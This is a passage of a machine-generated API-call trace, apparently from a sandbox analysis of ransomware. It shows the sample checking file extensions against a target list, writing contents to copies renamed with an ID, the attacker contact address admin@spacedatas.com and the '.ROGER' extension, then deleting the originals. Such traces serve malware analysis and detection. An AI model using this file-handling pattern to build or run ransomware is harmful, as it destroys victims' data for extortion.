Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0058.301] lstrlenW (lpString=".dbf") returned 4 [0058.301] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0058.301] lstrlenW (lpString=".1cd") returned 4 [0058.301] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0058.301] lstrlenW (lpString=".jpg") returned 4 [0058.301] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.306] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0058.306] lstrlenW (lpString="AN01216_.WMF") returned 12 [0058.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0058.309] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=5836) returned 1 [0058.310] CloseHandle (hObject=0x3d4) returned 1 [0058.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf")) returned 0x20 [0058.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0058.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0058.310] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.310] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0058.311] GetLastError () returned 0x0 [0058.311] ReadFile (in: hFile=0x3d4, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x16cc, lpOverlapped=0x0) returned 1 [0058.322] WriteFile (in: hFile=0x388, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x16d0, lpOverlapped=0x0) returned 1 [0058.323] ReadFile (in: hFile=0x3d4, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0058.323] WriteFile (in: hFile=0x388, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.323] SetEndOfFile (hFile=0x388) returned 1 [0058.324] CloseHandle (hObject=0x388) returned 1 [0058.324] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.324] SetEndOfFile (hFile=0x3d4) returned 1 [0058.325] CloseHandle (hObject=0x3d4) returned 1 [0058.325] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0058.325] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf")) returned 1 [0058.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0058.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0058.325] lstrlenW (lpString=".doc") returned 4 [0058.325] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.325] lstrlenW (lpString=".docx") returned 5 [0058.325] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.325] lstrlenW (lpString=".pdf") returned 4 [0058.325] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.325] lstrlenW (lpString=".xls") returned 4 [0058.325] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.325] lstrlenW (lpString=".xlsx") returned 5 [0058.325] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.325] lstrlenW (lpString=".ppt") returned 4 [0058.325] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0058.325] lstrlenW (lpString=".zip") returned 4 [0058.325] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.326] lstrlenW (lpString=".rar") returned 4 [0058.326] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.326] lstrlenW (lpString=".bz2") returned 4 [0058.326] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.326] lstrlenW (lpString=".7z") returned 3 [0058.326] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0058.326] lstrlenW (lpString=".dbf") returned 4 [0058.326] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0058.326] lstrlenW (lpString=".1cd") returned 4 [0058.326] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0058.326] lstrlenW (lpString=".jpg") returned 4 [0058.326] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0058.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0058.326] lstrlenW (lpString=".doc") returned 4 [0058.326] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.326] lstrlenW (lpString=".docx") returned 5 [0058.326] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.326] lstrlenW (lpString=".pdf") returned 4 [0058.326] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.326] lstrlenW (lpString=".xls") returned 4 [0058.326] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.326] lstrlenW (lpString=".xlsx") returned 5 [0058.326] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.326] lstrlenW (lpString=".ppt") returned 4 [0058.326] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0058.326] lstrlenW (lpString=".zip") returned 4 [0058.326] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.326] lstrlenW (lpString=".rar") returned 4 [0058.326] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.326] lstrlenW (lpString=".bz2") returned 4 [0058.327] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.327] lstrlenW (lpString=".7z") returned 3 [0058.327] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0058.327] lstrlenW (lpString=".dbf") returned 4 [0058.327] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0058.327] lstrlenW (lpString=".1cd") returned 4 [0058.327] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0058.327] lstrlenW (lpString=".jpg") returned 4 [0058.327] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.327] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0058.327] lstrlenW (lpString="AN01251_.WMF") returned 12 [0058.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0058.327] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=2756) returned 1 [0058.327] CloseHandle (hObject=0x3d4) returned 1 [0058.327] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf")) returned 0x20 [0058.327] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0058.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0058.328] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.328] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0058.328] GetLastError () returned 0x0 [0058.328] ReadFile (in: hFile=0x3d4, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0xac4, lpOverlapped=0x0) returned 1 [0058.359] WriteFile (in: hFile=0x388, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xad0, lpOverlapped=0x0) returned 1 [0058.360] ReadFile (in: hFile=0x3d4, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0058.360] WriteFile (in: hFile=0x388, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.360] SetEndOfFile (hFile=0x388) returned 1 [0058.360] CloseHandle (hObject=0x388) returned 1 [0058.360] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.360] SetEndOfFile (hFile=0x3d4) returned 1 [0058.361] CloseHandle (hObject=0x3d4) returned 1 [0058.361] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0058.361] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf")) returned 1 [0058.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0058.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0058.362] lstrlenW (lpString=".doc") returned 4 [0058.362] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.362] lstrlenW (lpString=".docx") returned 5 [0058.362] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.362] lstrlenW (lpString=".pdf") returned 4 [0058.362] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.362] lstrlenW (lpString=".xls") returned 4 [0058.362] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.362] lstrlenW (lpString=".xlsx") returned 5 [0058.362] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.362] lstrlenW (lpString=".ppt") returned 4 [0058.362] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0058.362] lstrlenW (lpString=".zip") returned 4 [0058.362] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.362] lstrlenW (lpString=".rar") returned 4 [0058.362] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.362] lstrlenW (lpString=".bz2") returned 4 [0058.362] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.362] lstrlenW (lpString=".7z") returned 3 [0058.362] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0058.362] lstrlenW (lpString=".dbf") returned 4 [0058.362] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0058.362] lstrlenW (lpString=".1cd") returned 4 [0058.362] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0058.362] lstrlenW (lpString=".jpg") returned 4 [0058.362] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0058.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0058.363] lstrlenW (lpString=".doc") returned 4 [0058.363] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.363] lstrlenW (lpString=".docx") returned 5 [0058.363] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.363] lstrlenW (lpString=".pdf") returned 4 [0058.363] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.363] lstrlenW (lpString=".xls") returned 4 [0058.363] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.363] lstrlenW (lpString=".xlsx") returned 5 [0058.363] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.363] lstrlenW (lpString=".ppt") returned 4 [0058.363] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0058.363] lstrlenW (lpString=".zip") returned 4 [0058.363] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.363] lstrlenW (lpString=".rar") returned 4 [0058.363] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.363] lstrlenW (lpString=".bz2") returned 4 [0058.363] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.363] lstrlenW (lpString=".7z") returned 3 [0058.363] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0058.363] lstrlenW (lpString=".dbf") returned 4 [0058.363] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0058.363] lstrlenW (lpString=".1cd") returned 4 [0058.363] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0058.363] lstrlenW (lpString=".jpg") returned 4 [0058.363] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.364] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0058.364] lstrlenW (lpString="AN02724_.WMF") returned 12 [0058.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0058.365] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=2108) returned 1 [0058.365] CloseHandle (hObject=0x3d4) returned 1 [0058.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf")) returned 0x20 [0058.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0058.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0058.365] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.365] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0058.365] GetLastError () returned 0x0 [0058.365] ReadFile (in: hFile=0x3d4, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x83c, lpOverlapped=0x0) returned 1 [0058.391] WriteFile (in: hFile=0x388, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x840, lpOverlapped=0x0) returned 1 [0058.392] ReadFile (in: hFile=0x3d4, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0058.392] WriteFile (in: hFile=0x388, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.392] SetEndOfFile (hFile=0x388) returned 1 [0058.392] CloseHandle (hObject=0x388) returned 1 [0058.393] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.393] SetEndOfFile (hFile=0x3d4) returned 1 [0058.393] CloseHandle (hObject=0x3d4) returned 1 [0058.393] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0058.394] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf")) returned 1 [0058.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0058.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0058.394] lstrlenW (lpString=".doc") returned 4 [0058.394] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.394] lstrlenW (lpString=".docx") returned 5 [0058.394] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.394] lstrlenW (lpString=".pdf") returned 4 [0058.394] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.394] lstrlenW (lpString=".xls") returned 4 [0058.394] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.394] lstrlenW (lpString=".xlsx") returned 5 [0058.394] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.394] lstrlenW (lpString=".ppt") returned 4 [0058.394] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0058.394] lstrlenW (lpString=".zip") returned 4 [0058.394] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.394] lstrlenW (lpString=".rar") returned 4 [0058.394] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.394] lstrlenW (lpString=".bz2") returned 4 [0058.394] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.394] lstrlenW (lpString=".7z") returned 3 [0058.394] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0058.394] lstrlenW (lpString=".dbf") returned 4 [0058.395] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0058.395] lstrlenW (lpString=".1cd") returned 4 [0058.395] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0058.395] lstrlenW (lpString=".jpg") returned 4 [0058.395] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0058.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0058.395] lstrlenW (lpString=".doc") returned 4 [0058.395] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.395] lstrlenW (lpString=".docx") returned 5 [0058.395] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.395] lstrlenW (lpString=".pdf") returned 4 [0058.395] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.395] lstrlenW (lpString=".xls") returned 4 [0058.395] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.395] lstrlenW (lpString=".xlsx") returned 5 [0058.395] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.395] lstrlenW (lpString=".ppt") returned 4 [0058.395] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0058.395] lstrlenW (lpString=".zip") returned 4 [0058.395] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.395] lstrlenW (lpString=".rar") returned 4 [0058.395] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.395] lstrlenW (lpString=".bz2") returned 4 [0058.395] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.395] lstrlenW (lpString=".7z") returned 3 [0058.395] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0058.395] lstrlenW (lpString=".dbf") returned 4 [0058.395] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0058.396] lstrlenW (lpString=".1cd") returned 4 [0058.396] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0058.396] lstrlenW (lpString=".jpg") returned 4 [0058.396] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.396] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 